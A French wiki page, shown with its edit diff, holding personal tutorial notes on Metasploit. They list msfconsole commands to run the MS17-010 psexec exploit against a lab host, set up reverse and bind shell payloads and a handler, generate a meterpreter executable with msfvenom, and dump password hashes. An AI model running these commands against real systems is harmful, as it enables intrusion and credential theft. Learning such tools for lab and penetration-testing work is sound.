« Metasploit » : différence entre les versions
(Page créée avec « = Metasploit = Metasploit est un framework qui sert à réaliser des exploits sur une machine. Il se lance avec <font face="FreeMono, monospace">msfconsole</font>. Une... ») |
Aucun résumé des modifications |
||
Ligne 4 : | Ligne 4 : | ||
Metasploit est un framework qui sert à réaliser des exploits sur une machine. | Metasploit est un framework qui sert à réaliser des exploits sur une machine. | ||
Il se lance avec <font face="FreeMono, monospace">msfconsole</font>. Une fois fait, je peux chercher une vulnérabilité (que j’aurais par exemple trouvée avec <font face="FreeMono, monospace">nmap --script vuln</font>) avec la commande search : par exemple <font face="FreeMono, monospace">search ms17-010</font>. Les exploits ont un rang de 1 à 7, plus il est haut mieux c’est. Je peux aussi chercher une date : <font face="FreeMono, monospace">search 2018</font>. Une fois l’exploit trouvé, metaploit affiche son chemin : <font face="FreeMono, monospace">exploit/windows/smb/ms17_010_</font><font face="FreeMono, monospace">psexec</font>. Les exploits peuvent aussi être rangés non par numéro de correctif microsoft, mais CVE ou BID. | Il se lance avec <font face="FreeMono, monospace">msfconsole</font>. Une fois fait, je peux chercher une vulnérabilité (que j’aurais par exemple trouvée avec <font face="FreeMono, monospace">nmap --script vuln</font>) avec la commande search : par exemple <font face="FreeMono, monospace">search ms17-010</font>. Les exploits ont un rang de 1 à 7, plus il est haut mieux c’est. Je peux aussi chercher une date : <font face="FreeMono, monospace">search 2018</font>. Une fois l’exploit trouvé, metaploit affiche son chemin : <font face="FreeMono, monospace">exploit/windows/smb/ms17_010_</font><font face="FreeMono, monospace">psexec</font>. Les exploits peuvent aussi être rangés non par numéro de correctif microsoft, mais CVE ou BID. | ||
Je peux ensuite l’utiliser : | Je peux ensuite l’utiliser : | ||
<font face="FreeMono, monospace">use exploit/windows/smb/ms17_010_psexec</font> | <font face="FreeMono, monospace">use exploit/windows/smb/ms17_010_psexec</font> | ||
Me voilà « dans » l’exploit. | Me voilà « dans » l’exploit. | ||
Je peux voir les payloads compatibles : <font face="FreeMono, monospace">show payloads.</font> | Je peux voir les payloads compatibles : <font face="FreeMono, monospace">show payloads.</font> | ||
Je la choisit avec <font face="FreeMono, monospace">set payload windows/x64/vncinject/reverse_tcp</font> | Je la choisit avec <font face="FreeMono, monospace">set payload windows/x64/vncinject/reverse_tcp</font> | ||
Puis les options à adapter à ma charge : <font face="FreeMono, monospace">show option</font>s | Puis les options à adapter à ma charge : <font face="FreeMono, monospace">show option</font>s | ||
Je vois les options requises (required) et parmi celles-ci lesquelles ne sont pas configurées, ici RHOST (Remote Host). Je fais donc <font face="FreeMono, monospace">set RHOST 10.0.0.9</font> | Je vois les options requises (required) et parmi celles-ci lesquelles ne sont pas configurées, ici RHOST (Remote Host). Je fais donc <font face="FreeMono, monospace">set RHOST 10.0.0.9</font> | ||
Ligne 30 : | Ligne 30 : | ||
MSFVENOM | MSFVENOM | ||
Sert à générer des payloads : du code a éxecuter sur la victime.<br/> exemple : msfvenom -p windows/meterpreter/bind_tcp LHOST=10.0.0.8 -f exe -o payload.exe | Sert à générer des payloads : du code a éxecuter sur la victime.<br/> exemple : msfvenom -p windows/meterpreter/bind_tcp LHOST=10.0.0.8 -f exe -o payload.exe | ||
va génerér mon payload (-p) bind_tcp… LHOSt est l’adresse de l’attaquant, -f le format, -o le nom.<br/> Une fois ceci fait, si je vais dans msfconsole et exécute un handler en faisant :<br/> <font face="FreeMono, monospace">use exploit/multi/handler<br/> set payload windows/meterpreter/bind_tcp<br/> [configurer les options…]<br/> exploit -j</font> | va génerér mon payload (-p) bind_tcp… LHOSt est l’adresse de l’attaquant, -f le format, -o le nom.<br/> Une fois ceci fait, si je vais dans msfconsole et exécute un handler en faisant :<br/> <font face="FreeMono, monospace">use exploit/multi/handler<br/> set payload windows/meterpreter/bind_tcp<br/> [configurer les options…]<br/> exploit -j</font> | ||
<font face="Liberation Serif, serif">Je n’ai plus qu’à lancer le payload sur ma victime windows. si je vérifie que le handler est bien lancé, j’aurais un message du type « session opened ». je pourrais ensuite utiliser la commande sessions pour la voir, sessions <numero> pour l’utiliser… ctrl+z pour la repasser en background.</font> | <span style="font-size:medium"><font face="Liberation Serif, serif">Je n’ai plus qu’à lancer le payload sur ma victime windows. si je vérifie que le handler est bien lancé, j’aurais un message du type « session opened ». je pourrais ensuite utiliser la commande sessions pour la voir, sessions <numero> pour l’utiliser… ctrl+z pour la repasser en background.</font></span> | ||
<font face="Liberation Serif, serif">On peut aussi upgrader un shell normal en meterpreter | <span style="font-size:medium"><font face="Liberation Serif, serif">On peut aussi upgrader un shell normal en meterpreter:</font></span> | ||
Meterpreter :<br/> En plus de toutes les commandes que je peux voir avec help, meterpreter utilise les scripts de la catégorie post, avec la commande run. Par exemple :<font face="FreeMono, monospace">run post/linux/gather/hashdump.</font> | <kbd><span style="font-size:medium"><font face="Liberation Serif, serif">sessions 1 -u #Metasploit utilise pour ça un reverse shell en tcp, de façon automatique.</font></span></kbd> | ||
Meterpreter :<br/> En plus de toutes les commandes que je peux voir avec help, meterpreter utilise les scripts de la catégorie post, avec la commande run. Par exemple :<font face="FreeMono, monospace">run post/linux/gather/hashdump.</font> |
Version du 10 octobre 2018 à 22:01
Metasploit
Metasploit est un framework qui sert à réaliser des exploits sur une machine.
Il se lance avec msfconsole. Une fois fait, je peux chercher une vulnérabilité (que j’aurais par exemple trouvée avec nmap --script vuln) avec la commande search : par exemple search ms17-010. Les exploits ont un rang de 1 à 7, plus il est haut mieux c’est. Je peux aussi chercher une date : search 2018. Une fois l’exploit trouvé, metaploit affiche son chemin : exploit/windows/smb/ms17_010_psexec. Les exploits peuvent aussi être rangés non par numéro de correctif microsoft, mais CVE ou BID.
Je peux ensuite l’utiliser :
use exploit/windows/smb/ms17_010_psexec
Me voilà « dans » l’exploit.
Je peux voir les payloads compatibles : show payloads.
Je la choisit avec set payload windows/x64/vncinject/reverse_tcp
Puis les options à adapter à ma charge : show options
Je vois les options requises (required) et parmi celles-ci lesquelles ne sont pas configurées, ici RHOST (Remote Host). Je fais donc set RHOST 10.0.0.9
Voire même un set LHOST 10.0.0.8 pour bien donner mon adresse (Local Host).
Je peux revérifier les options.
On lance avec la commande exploit.
Parmi tous les types de charge, on a les charges en bind (ou l’attaquant se connecte) et les charges reverse (ou la machine cible se connecte à l’attaquant). Meterpreter est un shell assez avancé et discret. VNC un bureau à distance. Etc.
MSFVENOM
Sert à générer des payloads : du code a éxecuter sur la victime.
exemple : msfvenom -p windows/meterpreter/bind_tcp LHOST=10.0.0.8 -f exe -o payload.exe
va génerér mon payload (-p) bind_tcp… LHOSt est l’adresse de l’attaquant, -f le format, -o le nom.
Une fois ceci fait, si je vais dans msfconsole et exécute un handler en faisant :
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
[configurer les options…]
exploit -j
Je n’ai plus qu’à lancer le payload sur ma victime windows. si je vérifie que le handler est bien lancé, j’aurais un message du type « session opened ». je pourrais ensuite utiliser la commande sessions pour la voir, sessions <numero> pour l’utiliser… ctrl+z pour la repasser en background.
On peut aussi upgrader un shell normal en meterpreter:
sessions 1 -u #Metasploit utilise pour ça un reverse shell en tcp, de façon automatique.
Meterpreter :
En plus de toutes les commandes que je peux voir avec help, meterpreter utilise les scripts de la catégorie post, avec la commande run. Par exemple :run post/linux/gather/hashdump.